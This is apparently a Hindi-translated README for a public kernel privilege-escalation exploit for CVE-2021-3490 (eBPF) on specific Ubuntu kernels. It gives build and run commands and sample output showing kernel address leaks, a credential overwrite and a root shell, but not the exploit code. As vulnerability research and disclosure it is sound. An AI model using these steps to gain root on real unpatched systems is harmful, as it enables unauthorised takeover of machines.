
CVE-2021-3490 के लिए LPE एक्सप्लॉइट। Ubuntu 20.04.02 और 20.10 (Groovy Gorilla) कर्नेल 5.8.0-25.26 से 5.8.0-52.58 तक पर परीक्षण किया गया। और Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17। यह भेद्यता Manfred Paul @_manfp द्वारा खोजी गई थी और इस कमिट में ठीक की गई थी।
लेखक: @chompie1337
केवल शैक्षिक/शोध उद्देश्यों के लिए। अपने जोखिम पर उपयोग करें।
Ubuntu 20.04.02 और Ubuntu 20.10 (Groovy Gorilla) के लिए बिल्ड करने हेतु:
make groovy
Ubuntu 21.04 (Hirsute Hippo) के लिए बिल्ड करने हेतु:
make hirsute
चलाने के लिए:
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
नोट: क्लीनअप करने और कर्नेल पैनिक से बचने के लिए आपको रूट शेल से exit टाइप करके अनिवार्य रूप से साफ-सुथरा बाहर निकलना होगा।
राइटअप देखें Kernel Pwning with eBPF: a Love Story।